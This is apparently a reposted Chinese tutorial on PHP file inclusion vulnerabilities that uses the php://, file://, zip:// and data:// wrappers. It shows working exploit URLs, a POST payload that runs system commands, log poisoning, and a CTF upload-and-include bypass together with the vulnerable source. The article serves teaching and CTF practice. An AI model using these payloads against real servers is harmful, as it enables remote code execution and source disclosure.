AI导航网
微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦！

一起来分析文件包含及PHP伪协议利用

分类：PHP作者：编程之家
本篇文章给大家带来了关于PHP的相关问题，其中主要介绍了关于文件包含和PHP伪协议的相关内容，文件包含漏洞是“代码注入”的一种，下面一起来看一下，希望对大家有帮助。

推荐学习：《PHP教程》

文件包含

文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码，并让服务端执行。“代码注入”的典型代表就是文件包含。

要想成功利用文件包含漏洞进行攻击，需要满足以下两个条件：

  • Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;

  • 用户能够控制该动态变量。

常见的导致文件包含的函数：
PHP:include()、include_once()、require()、require_once()等；
1.PHP文件包含可以直接执行包含文件的代码，包含的文件格式不受任何限制
在 PHP 中提供了四个文件包含函数：
(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR)，并停止脚本；
(2) Include：找不到被包含的文件时只会产生一个(E_warinng)，脚本将继续执行；
(3) Require_once：与 include 类似会产生警告，区别是如果文件代码已经被包含，则不会再次被包含；

PHP伪协议

PHP伪协议，事实上是其支持的协议与封装协议。而其支持的协议有：

file:// — 访问本地文件系统

PHP:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

在这里插入图片描述

all_url_include在PHP 5.2以后添加,安全方便的设置(PHP的默认设置)为:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允许打开URL文件,预设启用)
allow_url_fopen = Off (禁止打开URL文件)
allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭)
allow_url_include = On (允许引用URL文件,新版增加功能)

file协议

file:// 文件系统是 PHP 使用的默认封装协议，展现了本地文件系统。

使用file://协议去包含本地的PHPinfo.PHP

http://localhost/www/lfi.PHP?file=file://F:\PHPstudy\PHPstudy_pro\WWW\www\PHPinfo.PHP

在这里插入图片描述

PHP协议

PHP:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是PHP://filter和PHP://input
PHP://filter用于读取源码：
PHP://input用于执行PHP代码。

http://localhost/www/lfi.PHP?file=PHP://filter/read=convert.base64-encode/resource=./PHPinfo.PHP

PHP://filter读取PHP文件时候需要base64编码

在这里插入图片描述


PHP://input

  1. allow_url_include = On

PHP://input + [POST DATA]执行PHP代码
需要***allow_url_include = On***

http://localhost/www/lfi.PHP?file=PHP://input

POST	<?system('ipconfig')?>

在这里插入图片描述

  1. allow_url_include = Off

不过一般大部分情况下，allow_url_include 为默认关闭状态，
就不能包含POST数据了，这种情况下可以包含apache日志或者错误日志记录

首先需要fuzz大法，爆破出日志的路径，

为了测试方便，我先将日志的内容清空，方便演示

访问该网址，通过报错将代码写入日志中
注意：这里要使用burp抓包去访问，不然代码会被url编码写入日志，就不能执行了
也可以将代码写入 user-agent中

http://localhost/www/lfi.PHP?file=<?PHP PHPinfo();?>

在这里插入图片描述

在这里插入图片描述


我的日志路径为：
F:\PHPstudy\PHPstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

使用file://伪协议去读取日志，发现PHPinfo被成功执行了

http://localhost/www/lfi.PHP?file=file://F:\PHPstudy\PHPstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

在这里插入图片描述

zip://协议

** zip:// & bzip2:// & zlib:// **均属于压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可修改为任意后缀：jpg png gif xxx等等。

这里分析一个文件上传和文件包含结合的CTF案例

首先分析文件上传的源代码

<html><form action= enctype=multipart/form-data method=post name=upload>file:<input type=file name=file /><br> <input type=submit value=upload /></form><?PHPif(!empty($_FILES[file])){
    echo $_FILES[file];
    $allowedExts = array(gif, jpeg, jpg, png);
    @$temp = explode(., $_FILES[file][name]);
    $extension = end($temp);
    if (((@$_FILES[file][type] == image/gif) || (@$_FILES[file][type] == image/jpeg)
    || (@$_FILES[file][type] == image/jpg) || (@$_FILES[file][type] == image/pjpeg)
    || (@$_FILES[file][type] == image/x-png) || (@$_FILES[file][type] == image/png))
    && (@$_FILES[file][size] < 102400) && in_array($extension, $allowedExts))
    {
        //move_uploaded_file($_FILES[file][tmp_name], upload/ . $_FILES[file][name]);
        echo file upload successful!Save in:   . upload/ . $_FILES[file][name];
    }
    else
    {
        echo upload Failed!;
    }}echo $_FILES[file][tmp_name];?></html>

分析源代码发现，文件上传采用了白名单限制策略，只能上传
“gif, “jpeg”, “jpg”, png四种后缀名的文件。

分析文件包含的源代码

<html>Tips: the parameter is file! :) <!-- upload.PHP --></html><?PHP
    @$file = $_GET[file];
    echo $file;
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,..) !== FALSE || strlen($file)>=70)
        {
            echo <p> error! </p>;
        }
        else
        {
            include($file.'.PHP');
        }
    }?>

分析文件包含源代码，发现限制了部分伪协议和%00截断，且在include中自动添加了PHP后缀名，但是没有限制zip伪协议。

综上分析可以发现，在文件包含中利用zip伪协议，可以创建test.zip的压缩包，里面放着test.PHP的文件。

在文件上传时候将后缀名zip修改为png的后缀名，

test.PHP中写入木马

<?PHPPHPinfo();?>

如下图所示

在这里插入图片描述

在这里插入图片描述

图片上传成功之后，利用文件包含和zip://协议去读取test.png中的test.PHP，发现PHPinfo()被执行了，说明poc验证成功

http://172.22.32.25:42715/include.PHP?file=zip://upload/test.png%23test

在这里插入图片描述

data://

条件：

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.PHP?file=data://text/plain,<?PHP PHPinfo();?>

也可以使用base64编码，防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=

在这里插入图片描述

推荐学习：《PHP教程》

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 [email protected] 举报，一经查实，本站将立刻删除。

相关推荐

vue+thinkphp5实现微信扫码支付(NATIVE支付)
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单，返回预支付订单号的接口，目前微信支付所有场景均使用这一接口。下面介绍的是其中NATIVE的支付实现流程与PC端实现扫码支付流程
uniapp+thinkphp5实现微信扫码支付(APP支付)
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单，返回预支付订单号的接口，目前微信支付所有场景均使用这一接口。下面介绍的是其中APP的支付的配置与实现流程
uniapp+thinkphp5实现微信登录
前言 之前做了微信登录，所以总结一下微信授权登录并获取用户信息这个功能的开发流程。 配置 1.首先得在微信公众平台申请一下微信小程序账号并获取到小程序的AppID和AppSecret https://mp.weixin.qq.com/cgi-bin/log...
【PHP】关于fastadmin框架中使用with进行连表查询时setEagerlyType字段的理解
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一款开源且免费商用的后台开发框架，它基于ThinkPHP和Bootstrap两大主流技术构建的极速后台开发框架，它有着非常完善且强大的功能和便捷的开发体验，使我逐渐...
【workerman】uniapp+thinkPHP5使用GatewayWorker实现实时通讯
之前公司需要一个内部的通讯软件，就叫我做一个。通讯软件嘛，就离不开通讯了，然后我就想到了长连接。这里本人用的是GatewayWorker框架。
uniapp+thinkphp5实现微信支付(JSAPI支付)
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单，返回预支付订单号的接口，目前微信支付所有场景均使用这一接口。下面介绍的是其中JSAPI的支付实现流程
服务器优化必备：深入了解PHP8底层开发原理
服务器优化必备：深入了解PHP8底层开发原理
Golang的网络编程：如何快速构建高性能的网络应用？
Golang的网络编程：如何快速构建高性能的网络应用？
Golang和其他编程语言的对比：为什么它的开发效率更高？
Golang和其他编程语言的对比：为什么它的开发效率更高？
PHP8底层开发原理揭秘：如何利用新特性创建出色的Web应用
PHP8底层开发原理揭秘：如何利用新特性创建出色的Web应用
    pythonJavaScriptjavaHTMLreactjsC#AndroidCSSNode.jssqlrpython-3.xMysqLjQueryc++pandasFlutterangularIOSdjangolinuxswifttypescript路由器JSON路由器设置无线路由器h3c华三华三路由器设置华三路由器电脑软件教程arraysdocker软件图文教程Cvue.jslaravelspring-bootreact-native